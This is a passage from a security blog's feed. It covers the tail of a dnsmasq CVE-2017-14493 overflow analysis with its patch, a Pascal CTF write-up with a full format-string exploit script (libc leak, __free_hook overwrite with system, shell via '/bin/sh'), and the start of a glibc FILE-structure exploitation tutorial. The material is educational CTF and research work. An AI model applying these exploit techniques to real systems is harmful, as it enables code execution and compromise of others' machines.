	<span class="n">state</span><span class="o">-&gt;</span><span class="n">mac_type</span> <span class="o">=</span> <span class="n">opt6_uint</span><span class="p">(</span><span class="n">opt</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span>
			<span class="n">state</span><span class="o">-&gt;</span><span class="n">mac_len</span> <span class="o">=</span> <span class="n">opt6_len</span><span class="p">(</span><span class="n">opt</span><span class="p">)</span> <span class="o">-</span> <span class="mi">2</span><span class="p">;</span>
	<span class="n">memcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="o">-&gt;</span><span class="n">mac</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">opt6_ptr</span><span class="p">(</span><span class="n">opt</span><span class="p">,</span> <span class="mi">2</span><span class="p">),</span> <span class="n">state</span><span class="o">-&gt;</span><span class="n">mac_len</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>User controlled data is copied to <code class="language-plaintext highlighter-rouge">state-&gt;mac[0]</code> using a user controlled size which is not validated by the program.</p>

<p>Lets check the size of <code class="language-plaintext highlighter-rouge">state-&gt;mac</code>. Has we have seen from the <code class="language-plaintext highlighter-rouge">state struct</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">mac</span><span class="p">[</span><span class="n">DHCP_CHADDR_MAX</span><span class="p">];</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">state-&gt;mac</code> is a character buffer, <code class="language-plaintext highlighter-rouge">DHCP_CHADDR_MAX</code> is defined with size 16.</p>

<p>To confirm this vulnerability lets use a debugger to check the size of <code class="language-plaintext highlighter-rouge">state-&gt;mac_len</code> when <code class="language-plaintext highlighter-rouge">memcpy()</code> is called.</p>

<p>This vulnerability happens in <code class="language-plaintext highlighter-rouge">dhcp6_maybe_relay()</code> but it corrupts stack memory in <code class="language-plaintext highlighter-rouge">dhcp6_relay</code> because <code class="language-plaintext highlighter-rouge">state</code> is stored in that function.</p>

<p>Here is the exact corruption layout:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nsigned char mac[DHCP_CHADDR_MAX];
	unsigned int mac_len, mac_type;
#ifdef OPTION6_PREFIX_CLASS
	struct prefix_class *send_prefix_class;
#endif

state.mac[16]
state.mac_len 
state.mac_type
...
Stack Canary : at offset 42
saved RBP
saved RIP
</code></pre></div></div>
<h3 id="the-patch">The Patch</h3>

<p>Through source patch diffing I found out how they patched this vulnerability.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">((</span><span class="n">opt</span> <span class="o">=</span> <span class="n">opt6_find</span><span class="p">(</span><span class="n">opts</span><span class="p">,</span> <span class="n">end</span><span class="p">,</span> <span class="n">OPTION6_CLIENT_MAC</span><span class="p">,</span> <span class="mi">3</span><span class="p">)))</span>
<span class="p">{</span>
	<span class="cm">/* Patch */</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">opt6_len</span><span class="p">(</span><span class="n">opt</span><span class="p">)</span> <span class="o">-</span> <span class="mi">2</span> <span class="o">&gt;</span> <span class="n">DHCP_CHADDR_MAX</span><span class="p">)</span> <span class="p">{</span>
	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="cm">/* End of patch */</span>
	<span class="n">state</span><span class="o">-&gt;</span><span class="n">mac_type</span> <span class="o">=</span> <span class="n">opt6_uint</span><span class="p">(</span><span class="n">opt</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span>
	<span class="n">state</span><span class="o">-&gt;</span><span class="n">mac_len</span> <span class="o">=</span> <span class="n">opt6_len</span><span class="p">(</span><span class="n">opt</span><span class="p">)</span> <span class="o">-</span> <span class="mi">2</span><span class="p">;</span>
	<span class="n">memcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">state</span><span class="o">-&gt;</span><span class="n">mac</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">opt6_ptr</span><span class="p">(</span><span class="n">opt</span><span class="p">,</span> <span class="mi">2</span><span class="p">),</span> <span class="n">state</span><span class="o">-&gt;</span><span class="n">mac_len</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>I check was added to ensure that the data copied into the <code class="language-plaintext highlighter-rouge">state-&gt;mac</code> buffer was less than <code class="language-plaintext highlighter-rouge">DHCP_CHADDR_MAX</code>. That is simply the patch.</p>]]></content><author><name></name></author><category term="research" /><category term="cve-analysis" /><category term="linux-userland" /><summary type="html"><![CDATA[This post explores CVE-2017-14493 in dnsmasq, following the path from crafted network packets to application crash. Through dynamic analysis and code inspection, we uncover the root cause and examine how the vulnerability is triggered.]]></summary></entry><entry><title type="html">Pascal CTF - yetanothernotetaker</title><link href="https://t1b4n3.github.io/writeup/pwn/pascalCTF-yetanothernotetaker/" rel="alternate" type="text/html" title="Pascal CTF - yetanothernotetaker" /><published>2026-02-01T00:00:00+02:00</published><updated>2026-02-01T00:00:00+02:00</updated><id>https://t1b4n3.github.io/writeup/pwn/pascalCTF-yetanothernotetaker</id><content type="html" xml:base="https://t1b4n3.github.io/writeup/pwn/pascalCTF-yetanothernotetaker/"><![CDATA[<h1 id="yet-another-note-taker">YET ANOTHER NOTE TAKER</h1>

<h2 id="about-the-binary">About the binary</h2>

<p>The binary</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>t1b4n3@debian:~/ctf/pascalctf/yetanothernotetaker/challenge<span class="nv">$ </span>file notetaker
notetaker: ELF 64-bit LSB executable, x86-64, version 1 <span class="o">(</span>SYSV<span class="o">)</span>, dynamically linked, interpreter ./libs/ld-2.23.so, <span class="k">for </span>GNU/Linux 2.6.32, BuildID[sha1]<span class="o">=</span>768a7bc2d2918ceb196b57bfa9528681820eae43, not stripped
</code></pre></div></div>

<p>The binary is a elf 64 bit executable, and it is not stripped which makes reversing a lot easier.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>t1b4n3@debian:~/ctf/pascalctf/yetanothernotetaker/challenge<span class="nv">$ </span>pwn checksec notetaker
<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="s1">'/home/t1b4n3/ctf/pascalctf/yetanothernotetaker/challenge/notetaker'</span>
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE <span class="o">(</span>0x400000<span class="o">)</span>
    RPATH:    b<span class="s1">'./libs/'</span>
</code></pre></div></div>

<p>All mitigations are turned on except <strong>PIE</strong></p>

<h2 id="reversing-and-vulnerability-discovery">Reversing and Vulnerability Discovery</h2>

<p><code class="language-plaintext highlighter-rouge">main()</code></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int32_t</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int32_t</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">**</span> <span class="n">argv</span><span class="p">,</span> <span class="kt">char</span><span class="o">**</span> <span class="n">envp</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">void</span><span class="o">*</span> <span class="n">fsbase</span><span class="p">;</span>
    <span class="kt">int64_t</span> <span class="n">rax</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)((</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">fsbase</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
    <span class="n">init</span><span class="p">();</span>
    <span class="kt">char</span> <span class="n">notes</span><span class="p">[</span><span class="mh">0x108</span><span class="p">];</span>
    <span class="n">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">notes</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">);</span>
    <span class="kt">int32_t</span> <span class="n">i</span><span class="p">;</span>
    
    <span class="k">do</span>
    <span class="p">{</span>
        <span class="n">menu</span><span class="p">();</span>
        <span class="kt">char</span><span class="o">*</span> <span class="n">cmd</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x10</span><span class="p">);</span>
        <span class="n">memset</span><span class="p">(</span><span class="n">cmd</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x10</span><span class="p">);</span>
        <span class="n">fgets</span><span class="p">(</span><span class="n">cmd</span><span class="p">,</span> <span class="mh">0x10</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>
        <span class="n">__isoc99_sscanf</span><span class="p">(</span><span class="n">cmd</span><span class="p">,</span> <span class="s">"%d"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">i</span><span class="p">);</span>
        <span class="n">free</span><span class="p">(</span><span class="n">cmd</span><span class="p">);</span>
        <span class="kt">int32_t</span> <span class="n">choice</span> <span class="o">=</span> <span class="n">i</span><span class="p">;</span>
        
        <span class="k">if</span> <span class="p">(</span><span class="n">choice</span> <span class="o">==</span> <span class="mi">2</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="n">printf</span><span class="p">(</span><span class="s">"Enter the note: "</span><span class="p">);</span>
            <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">notes</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">);</span>
            <span class="n">notes</span><span class="p">[</span><span class="n">strcspn</span><span class="p">(</span><span class="o">&amp;</span><span class="n">notes</span><span class="p">,</span> <span class="s">u"</span><span class="se">\n</span><span class="s">…"</span><span class="p">)]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">choice</span> <span class="o">==</span> <span class="mi">3</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="n">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">notes</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">);</span>
            <span class="n">puts</span><span class="p">(</span><span class="s">"Note cleared."</span><span class="p">);</span>
        <span class="p">}</span>
        <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">choice</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span>
        <span class="p">{</span>
            <span class="n">printf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">notes</span><span class="p">);</span>
            <span class="n">putchar</span><span class="p">(</span><span class="mh">0xa</span><span class="p">);</span>
        <span class="p">}</span>
        
        <span class="k">if</span> <span class="p">(</span><span class="n">i</span> <span class="o">&lt;=</span> <span class="mi">0</span><span class="p">)</span>
            <span class="k">break</span><span class="p">;</span>
    <span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">i</span> <span class="o">&lt;=</span> <span class="mi">4</span><span class="p">);</span>
    
    <span class="k">if</span> <span class="p">(</span><span class="n">rax</span> <span class="o">==</span> <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)((</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">fsbase</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">))</span>
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
    
    <span class="n">__stack_chk_fail</span><span class="p">();</span>
    <span class="cm">/* no return */</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This function defines a <strong>note</strong> buffer that is <code class="language-plaintext highlighter-rouge">0x108</code> which will store our note. The program uses a heap chunk to get the user’s choice (This will be important later).</p>

<p>Choices</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./notetaker 
1. Read note
2. Write note
3. Clear note
4. Exit
<span class="o">&gt;</span> 
</code></pre></div></div>

<ul>
  <li>Option 1 prints the note to stdout and has a <strong>FORMAT STRING</strong> vulnerability.</li>
  <li>Option 2 Gets Input from stdin</li>
  <li>Option 3 Clears the note buffer</li>
</ul>

<h2 id="exploitation">Exploitation.</h2>

<p><strong>Strategy</strong>: Use the format string read vulnerability to leak a libc address and calculate the offset of the libc base address. Then use the format string write vulnerability again to overwrite the free hook and free a chunk that has the string <code class="language-plaintext highlighter-rouge">/bin/sh</code>.</p>

<p>Lets use the format string read to leak a libc address.</p>

<p><img src="/assets/images/writeups/pascalctf/fmt_str_read.png" alt="Format string read" /></p>

<p>The first address that is leaked is: <code class="language-plaintext highlighter-rouge">0x7ffff7bc4b28</code>, we can use this to get the libc base address.</p>

<p><img src="/assets/images/writeups/pascalctf/calc_libc_base.png" alt="Calculate Libc Base Addr" /></p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">libc</span> <span class="o">=</span> <span class="mh">0x00007ffff7800000</span>
<span class="n">leak</span> <span class="o">=</span> <span class="mh">0x7ffff7bc4b28</span>
<span class="nf">print</span><span class="p">(</span><span class="nf">hex</span><span class="p">(</span><span class="n">leak</span> <span class="o">-</span> <span class="n">libc</span><span class="p">))</span> <span class="c1"># 0x3c4b28
</span></code></pre></div></div>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">n</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">%p</span><span class="sh">"</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">n</span><span class="p">.</span><span class="nf">read</span><span class="p">()</span>
<span class="n">leak</span> <span class="o">=</span> <span class="nf">int</span><span class="p">(</span><span class="n">leak</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span>
<span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">leak</span> <span class="o">-</span> <span class="mh">0x3c4b28</span>
</code></pre></div></div>

<p>Now we can use the format string vulnerability to overwrite the free hook (<code class="language-plaintext highlighter-rouge">libc.sym.__free_hook</code>).</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">format_str</span> <span class="o">=</span> <span class="mi">8</span> 
<span class="c1"># fmtstr_payload(offset, {where:what}) 
</span><span class="n">p</span> <span class="o">=</span> <span class="nf">fmtstr_payload</span><span class="p">(</span><span class="n">format_str</span><span class="p">,</span> <span class="p">{</span><span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">__free_hook</span><span class="p">:</span><span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">system</span><span class="p">})</span> <span class="c1"># 
</span>
<span class="c1"># Trigger vuln
</span><span class="n">n</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="n">p</span><span class="p">)</span>
<span class="n">n</span><span class="p">.</span><span class="nf">read</span><span class="p">()</span>
</code></pre></div></div>

<p>Now that we have overwritten the free hook with <code class="language-plaintext highlighter-rouge">system()</code></p>

<p><img src="/assets/images/writeups/pascalctf/overwite.png" alt="free hook overwritten." /></p>

<p>So to execute any command we just have place the command inside a heap chunk than free it.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">char</span><span class="o">*</span> <span class="n">cmd</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x10</span><span class="p">);</span>
<span class="n">memset</span><span class="p">(</span><span class="n">cmd</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x10</span><span class="p">);</span>
<span class="n">fgets</span><span class="p">(</span><span class="n">cmd</span><span class="p">,</span> <span class="mh">0x10</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>
<span class="n">__isoc99_sscanf</span><span class="p">(</span><span class="n">cmd</span><span class="p">,</span> <span class="s">"%d"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">i</span><span class="p">);</span>
<span class="n">free</span><span class="p">(</span><span class="n">cmd</span><span class="p">);</span>
</code></pre></div></div>

<p>So we just have to enter out cmd when the program tries to get a option.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">sla</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">&gt; </span><span class="sh">"</span><span class="p">,</span> <span class="sa">b</span><span class="sh">"</span><span class="s">/bin/sh</span><span class="sh">"</span><span class="p">)</span>
</code></pre></div></div>

<p>This will now pop a shell.</p>

<p><img src="/assets/images/writeups/pascalctf/shell.png" alt="free hook overwritten." /></p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">NoteTaker</span><span class="p">:</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="k">pass</span>

    <span class="k">def</span> <span class="nf">read</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="nf">sla</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">&gt; </span><span class="sh">"</span><span class="p">,</span> <span class="sa">b</span><span class="sh">"</span><span class="s">1</span><span class="sh">"</span><span class="p">)</span>
        <span class="n">data</span> <span class="o">=</span> <span class="nf">rl</span><span class="p">()</span>
        <span class="k">return</span> <span class="n">data</span>

    <span class="k">def</span> <span class="nf">write</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span>
        <span class="nf">sla</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">&gt; </span><span class="sh">"</span><span class="p">,</span> <span class="sa">b</span><span class="sh">"</span><span class="s">2</span><span class="sh">"</span><span class="p">)</span>
        <span class="nf">sla</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">Enter the note: </span><span class="sh">"</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span>

    <span class="k">def</span> <span class="nf">clear</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="nf">sla</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">&gt; </span><span class="sh">"</span><span class="p">,</span> <span class="sa">b</span><span class="sh">"</span><span class="s">3</span><span class="sh">"</span><span class="p">)</span>



<span class="k">def</span> <span class="nf">exploit</span><span class="p">():</span>
    <span class="c1">##################################################################### 
</span>    <span class="c1">######################## EXPLOIT CODE ###############################
</span>    <span class="c1">#####################################################################
</span>    <span class="n">n</span> <span class="o">=</span> <span class="nc">NoteTaker</span><span class="p">()</span>
    <span class="n">n</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">%p</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">leak</span> <span class="o">=</span> <span class="n">n</span><span class="p">.</span><span class="nf">read</span><span class="p">()</span>

    <span class="n">leak</span> <span class="o">=</span> <span class="nf">int</span><span class="p">(</span><span class="n">leak</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span>
    <span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">leak</span> <span class="o">-</span> <span class="mh">0x3c4b28</span>

    <span class="nf">print_leak</span><span class="p">(</span><span class="sh">"</span><span class="s">libc</span><span class="sh">"</span><span class="p">,</span> <span class="n">libc</span><span class="p">.</span><span class="n">address</span><span class="p">)</span>
    
    <span class="n">format_str</span> <span class="o">=</span> <span class="mi">8</span>

    <span class="n">p</span> <span class="o">=</span> <span class="nf">fmtstr_payload</span><span class="p">(</span><span class="n">format_str</span><span class="p">,</span> <span class="p">{</span><span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">__free_hook</span><span class="p">:</span><span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">system</span><span class="p">})</span>
    
    <span class="n">n</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="n">p</span><span class="p">)</span>
    <span class="n">n</span><span class="p">.</span><span class="nf">read</span><span class="p">()</span>
    <span class="nf">sla</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">&gt; </span><span class="sh">"</span><span class="p">,</span> <span class="sa">b</span><span class="sh">"</span><span class="s">/bin/sh</span><span class="sh">"</span><span class="p">)</span>

</code></pre></div></div>]]></content><author><name></name></author><category term="writeup" /><category term="pwn" /><summary type="html"><![CDATA[YET ANOTHER NOTE TAKER]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://t1b4n3.github.io/assets/images/pascal.png" /><media:content medium="image" url="https://t1b4n3.github.io/assets/images/pascal.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Introduction to File Structure Exploitation</title><link href="https://t1b4n3.github.io/writeup/file-structure-exploitaton/" rel="alternate" type="text/html" title="Introduction to File Structure Exploitation" /><published>2025-12-23T00:00:00+02:00</published><updated>2025-12-23T00:00:00+02:00</updated><id>https://t1b4n3.github.io/writeup/file-structure-exploitaton</id><content type="html" xml:base="https://t1b4n3.github.io/writeup/file-structure-exploitaton/"><![CDATA[<p>File Structure Exploitation is a binary exploitation technique that uses GLIBC file streams structures to gain code execution. It has become popular since pointers like <code class="language-plaintext highlighter-rouge">__malloc_hook</code>, <code class="language-plaintext highlighter-rouge">__free_hook</code>, etc. have been removed from GLIBC 2.34.</p>

<p>I was searching the internet on another way to get code execution of latest GLIBC versions, when i encountered it.</p>

<h1 id="file-structure-exploitation">File Structure Exploitation</h1>

<p>File structure exploitation is an advanced binary exploitation technique that leverages memory corruption vulnerabilities  to overwrite a <code class="language-plaintext highlighter-rouge">FILE</code> pointer and manipulate the internal data structure used by standard I/O libraries to mange file streams.</p>
<h2 id="overview-of-the-file-structure">Overview of the FILE Structure</h2>

<p>In <code class="language-plaintext highlighter-rouge">GLIBC</code> the file structures were introduced to improve a program’s I/O performances through the use of buffering.</p>

<p>The file structure is a important component of that standard I/O library in C, representing a file stream.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">_IO_FILE</span>
<span class="p">{</span>
  <span class="kt">int</span> <span class="n">_flags</span><span class="p">;</span>		<span class="cm">/* High-order word is _IO_MAGIC; rest is flags. */</span>
  <span class="cm">/* The following pointers correspond to the C++ streambuf protocol. */</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_read_ptr</span><span class="p">;</span>	<span class="cm">/* Current read pointer */</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_read_end</span><span class="p">;</span>	<span class="cm">/* End of get area. */</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_read_base</span><span class="p">;</span>	<span class="cm">/* Start of putback+get area. */</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_write_base</span><span class="p">;</span>	<span class="cm">/* Start of put area. */</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_write_ptr</span><span class="p">;</span>	<span class="cm">/* Current put pointer. */</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_write_end</span><span class="p">;</span>	<span class="cm">/* End of put area. */</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_buf_base</span><span class="p">;</span>	<span class="cm">/* Start of reserve area. */</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_buf_end</span><span class="p">;</span>	<span class="cm">/* End of reserve area. */</span>
  <span class="cm">/* The following fields are used to support backing up and undo. */</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_save_base</span><span class="p">;</span> <span class="cm">/* Pointer to start of non-current get area. */</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_backup_base</span><span class="p">;</span>  <span class="cm">/* Pointer to first valid character of backup area */</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">_IO_save_end</span><span class="p">;</span> <span class="cm">/* Pointer to end of non-current get area. */</span>

  <span class="k">struct</span> <span class="n">_IO_marker</span> <span class="o">*</span><span class="n">_markers</span><span class="p">;</span>
  <span class="k">struct</span> <span class="n">_IO_FILE</span> <span class="o">*</span><span class="n">_chain</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">_fileno</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">_flags2</span><span class="p">;</span>
  <span class="n">__off_t</span> <span class="n">_old_offset</span><span class="p">;</span> <span class="cm">/* This used to be _offset but it's too small.  */</span>
  <span class="cm">/* 1+column number of pbase(); 0 is unknown. */</span>
  <span class="kt">unsigned</span> <span class="kt">short</span> <span class="n">_cur_column</span><span class="p">;</span>
  <span class="kt">signed</span> <span class="kt">char</span> <span class="n">_vtable_offset</span><span class="p">;</span>
  <span class="kt">char</span> <span class="n">_shortbuf</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

  <span class="n">_IO_lock_t</span> <span class="o">*</span><span class="n">_lock</span><span class="p">;</span>
  
<span class="n">__off64_t</span> <span class="n">_offset</span><span class="p">;</span>
  <span class="cm">/* Wide character stream stuff.  */</span>
  <span class="k">struct</span> <span class="n">_IO_codecvt</span> <span class="o">*</span><span class="n">_codecvt</span><span class="p">;</span>
  <span class="k">struct</span> <span class="n">_IO_wide_data</span> <span class="o">*</span><span class="n">_wide_data</span><span class="p">;</span>
  <span class="k">struct</span> <span class="n">_IO_FILE</span> <span class="o">*</span><span class="n">_freeres_list</span><span class="p">;</span>
  <span class="kt">void</span> <span class="o">*</span><span class="n">_freeres_buf</span><span class="p">;</span>
  <span class="kt">size_t</span> <span class="n">__pad5</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">_mode</span><span class="p">;</span>
  <span class="cm">/* Make sure we don't get into trouble again.  */</span>
  <span class="kt">char</span> <span class="n">_unused2</span><span class="p">[</span><span class="mi">15</span> <span class="o">*</span> <span class="k">sizeof</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span> <span class="o">-</span> <span class="mi">4</span> <span class="o">*</span> <span class="k">sizeof</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span> <span class="o">-</span> <span class="k">sizeof</span> <span class="p">(</span><span class="kt">size_t</span><span class="p">)];</span>
<span class="p">};</span>
</code></pre></div></div>

<p>Opened file streams are joined in a singly linked list via the <code class="language-plaintext highlighter-rouge">_chain</code> field. This allows GLIBC to easily close them all on exit. The head of the linked list is <code class="language-plaintext highlighter-rouge">_IO_list_all</code>. GLIBC always has 3 file streams open which are <code class="language-plaintext highlighter-rouge">stdin</code>,<code class="language-plaintext highlighter-rouge">stdout</code> and <code class="language-plaintext highlighter-rouge">stderr</code>.</p>

<p><code class="language-plaintext highlighter-rouge">_flags</code> is used to record the attribute of File stream such as read only, write, append and so on. It also shows the status of the file buffering status.</p>

<p>Stream buffer pointers are divided into three parts:</p>
<ol>
  <li>Read buffer :  <code class="language-plaintext highlighter-rouge">_IO_read_ptr</code>, <code class="language-plaintext highlighter-rouge">_IO_read_end</code>, <code class="language-plaintext highlighter-rouge">_IO_read_base</code></li>
  <li>Write buffer :<code class="language-plaintext highlighter-rouge">_IO_write_ptr</code>, <code class="language-plaintext highlighter-rouge">_IO_write_end,</code> <code class="language-plaintext highlighter-rouge">_IO_write_base</code></li>
  <li>Reserve buffer: <code class="language-plaintext highlighter-rouge">_IO_buf_base</code>, <code class="language-plaintext highlighter-rouge">_IO_buf_end</code></li>
</ol>

<p>Where the pointers point to:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">**ptr</code> points at the current buffer position.</li>
  <li><code class="language-plaintext highlighter-rouge">**base</code> points to the beginning of the buffer.</li>
  <li><code class="language-plaintext highlighter-rouge">**end</code> points to the end of the buffer.</li>
</ul>

<p><code class="language-plaintext highlighter-rouge">_fileno</code> is a file descriptor from the file which you open, it returns from the system call <code class="language-plaintext highlighter-rouge">open</code>.</p>

<p>The <code class="language-plaintext highlighter-rouge">_lock</code> pointer is used for threaded file access.</p>

<p>The <code class="language-plaintext highlighter-rouge">_wide_data</code> field points to a similar structure used to handle wide strings.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* Extra data for wide character streams.  */</span>
<span class="k">struct</span> <span class="n">_IO_wide_data</span>
<span class="p">{</span>
  <span class="kt">wchar_t</span> <span class="o">*</span><span class="n">_IO_read_ptr</span><span class="p">;</span>	<span class="cm">/* Current read pointer */</span>
  <span class="kt">wchar_t</span> <span class="o">*</span><span class="n">_IO_read_end</span><span class="p">;</span>	<span class="cm">/* End of get area. */</span>
  <span class="kt">wchar_t</span> <span class="o">*</span><span class="n">_IO_read_base</span><span class="p">;</span>	<span class="cm">/* Start of putback+get area. */</span>
  <span class="kt">wchar_t</span> <span class="o">*</span><span class="n">_IO_write_base</span><span class="p">;</span>	<span class="cm">/* Start of put area. */</span>
  <span class="kt">wchar_t</span> <span class="o">*</span><span class="n">_IO_write_ptr</span><span class="p">;</span>	<span class="cm">/* Current put pointer. */</span>
  <span class="kt">wchar_t</span> <span class="o">*</span><span class="n">_IO_write_end</span><span class="p">;</span>	<span class="cm">/* End of put area. */</span>
  <span class="kt">wchar_t</span> <span class="o">*</span><span class="n">_IO_buf_base</span><span class="p">;</span>	<span class="cm">/* Start of reserve area. */</span>
  <span class="kt">wchar_t</span> <span class="o">*</span><span class="n">_IO_buf_end</span><span class="p">;</span>		<span class="cm">/* End of reserve area. */</span>
  <span class="cm">/* The following fields are used to support backing up and undo. */</span>
  <span class="kt">wchar_t</span> <span class="o">*</span><span class="n">_IO_save_base</span><span class="p">;</span>	<span class="cm">/* Pointer to start of non-current get area. */</span>
  <span class="kt">wchar_t</span> <span class="o">*</span><span class="n">_IO_backup_base</span><span class="p">;</span>	<span class="cm">/* Pointer to first valid character of
				   backup area */</span>
  <span class="kt">wchar_t</span> <span class="o">*</span><span class="n">_IO_save_end</span><span class="p">;</span>	<span class="cm">/* Pointer to end of non-current get area. */</span>

